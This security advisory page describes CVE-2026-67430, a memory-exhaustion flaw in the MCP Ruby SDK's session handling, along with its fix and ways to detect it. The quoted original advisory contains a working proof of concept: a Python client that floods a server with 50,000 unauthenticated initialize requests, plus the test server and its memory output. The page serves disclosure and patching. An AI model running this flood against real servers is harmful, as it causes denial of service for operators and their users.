CVE-2026-67430: MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood
By default, the MCP Ruby SDK's StreamableHTTPTransport never expires sessions. An unauthenticated client can send initialize requests in a loop, and the server keeps every session in memory until it runs out. Gem mcp up to 0.22.0 is affected. Upgrade to 0.23.0, which adds a 30-minute idle timeout and a 10,000-session cap.
Published Jul 30, 2026 · Analysis Oct 25, 2026
What an attacker can do
In streamable_http_transport.rb, the constructor's session_idle_timeout defaults to nil, and line 46 starts the reaper thread only if a timeout is set. Each successful initialize in handle_initialization stores a ServerSession (with a Mutex, an @in_flight hash and a capabilities hash) under a new UUID. Sessions leave only through a client DELETE or stream errors. The README itself says sessions do not expire by default.
The reporter ran the default configuration and sent 50,000 initialize requests from one client with 32 workers. All 50,000 sessions were created in 26.6 seconds, and the count stayed pinned at 50,000 with memory at about 152 MB, because nothing frees them. Scaling this with more clients or larger capability payloads drives the worker to an OOM kill.
The attacker needs only TCP reach to the endpoint: no session, no credentials. A worker that restarts is simply hit again, and on a shared gateway one tenant can starve the rest. Because the safe setting is opt-in, many deployments ship exposed. The availability impact is rated low in the data, since each session is small and the flood takes volume.
Who is affected
mcp gem up to and including 0.22.0, for stateful StreamableHTTPTransport servers that did not set session_idle_timeout. Stateless servers (stateless: true) keep no sessions. Check the gem version and your transport constructor:
bundle list | grep mcp
grep -rn "StreamableHTTPTransport.new" .mcp
- Ecosystem
- RubyGems
- Affected
- <= 0.22.0
- Fixed in
- 0.23.0
- Check
bundle info mcp
How to fix it
Upgrade to mcp 0.23.0:
bundle update mcpIn stateful mode, session_idle_timeout now defaults to 1800 seconds, so the reaper runs. A new max_sessions option defaults to 10,000. At the cap, the transport first clears expired sessions, then rejects new initialize requests with HTTP 503. It does not evict a live session.
This is a breaking change: sessions end after 30 minutes idle. To keep the old behavior, pass session_idle_timeout: nil and max_sessions: nil, which restores the flaw. On older versions, set session_idle_timeout yourself and rate-limit initialize at your proxy.
How to tell if you were hit
Watch the process for steady memory growth that does not fall back, and for large numbers of POST requests carrying method initialize from one or a few addresses in access logs. If you can inspect the transport, the size of its @sessions hash keeps rising. After upgrading, a burst of HTTP 503 responses to initialize means the 10,000 cap is being hit. Legitimate clients rarely open thousands of sessions a minute.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb:
- Line 27, constructor:
def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)— the default forsession_idle_timeoutisnil. - Line 46:
start_reaper_thread if @session_idle_timeout— when the timeout isnil, the reaper that prunes idle sessions is never started. - Lines 604–643 (
handle_initialization): every successfulinitializeinserts a new session record; the only removal sites arehandle_delete(client-controlled) and stream-error paths.
The project README acknowledges the insecure default (line 1605):
By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).
Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.
Proof of concept
Server (session_poc_server.rb)
Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "session-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
Thread.new do
loop do
sessions = transport.instance_variable_get(:@sessions)
count = sessions ? sessions.size : 0
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] sessions=#{count} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9295/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9295,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)Client (session_poc_client.py)
import concurrent.futures, json, socket, time
HOST, PORT = "127.0.0.1", 9295
TOTAL, WORKERS = 50_000, 32
INIT = json.dumps({
"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {"protocolVersion": "2025-11-25", "capabilities": {},
"clientInfo": {"name": "flooder", "version": "1.0"}}
}).encode()
REQ = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"
).encode() + INIT
def one():
try:
s = socket.create_connection((HOST, PORT), timeout=5)
s.sendall(REQ)
data = b""
while True:
c = s.recv(8192)
if not c: break
data += c
s.close()
return b"mcp-session-id" in data.lower()
except OSError:
return False
start = time.time()
created = 0
with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:
futs = [ex.submit(one) for _ in range(TOTAL)]
for i, f in enumerate(concurrent.futures.as_completed(futs), 1):
if f.result():
created += 1
if i % 1000 == 0:
print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "
f"elapsed {time.time() - start:.1f}s")
print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "
f"{time.time() - start:.1f}s")Reproduction commands
bundle install
ruby session_poc_server.rb # terminal A
python3 session_poc_client.py # terminal BObserved result
Tested on macOS, Ruby 3.2.4, against the SDK's main branch.
Server terminal:
[mem] sessions=0 RSS=45 MB
[mem] sessions=2605 RSS=56 MB
[mem] sessions=11587 RSS=72 MB
[mem] sessions=23119 RSS=85 MB
[mem] sessions=34391 RSS=119 MB
[mem] sessions=45325 RSS=128 MB
[mem] sessions=50000 RSS=154 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB
[mem] sessions=50000 RSS=152 MB # plateau persists indefinitelyClient terminal:
[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s
[poc] done. 50000/50000 sessions confirmed in 26.6s50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed.
Impact
- Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials.
- Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others.
- Affected deployments: every deployment that does not opt into
session_idle_timeout. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable.
Suggested mitigation
- Change the default of
session_idle_timeoutto a finite value (e.g. 30 minutes) and document the change as a security default. - Add a
max_sessions:constructor option; rejectinitializewith HTTP 503 once the cap is reached. - Track the time of the
initializePOST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.
Credited to hewei-gikaku.
Questions
- Is a stateless MCP Ruby server affected by CVE-2026-67430?
No. The flaw is session retention in stateful mode. With stateless: true the transport stores no sessions, and the new max_sessions cap does not apply there either.
- What defaults changed in 0.23.0?
session_idle_timeout is now 1800 seconds and max_sessions is 10,000 in stateful mode. Passing nil for either one disables it.
- Does the attacker need to authenticate?
No. Any client that can reach the endpoint can send initialize and create a session, so no credentials are needed.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Other MCP servers and tools vulnerabilities
All Other MCP servers and tools entriesCVE-2026-77361
obsidian-tc : Symlink read-ACL scope bypass via lexical path checks
medium4.7Oct 23, 2026CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network
high8.7Oct 22, 2026CVE-2026-113731
djust: Arbitrary absolute-path file read in the find_handlers_for_template MCP tool
low3.3Oct 21, 2026CVE-2026-114125
Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites
critical9.4Oct 21, 2026CVE-2026-111770
MCP TypeScript server SDK: Shared transport or server instances delivered one HTTP client's messages to another
high7.7Oct 20, 2026GHSA-953h-535j-jg2v
agent-router: MCP session resume does not verify the embedded anti-hijacking subject; default Helm seed makes session IDs forgeable
medium6.8Oct 19, 2026
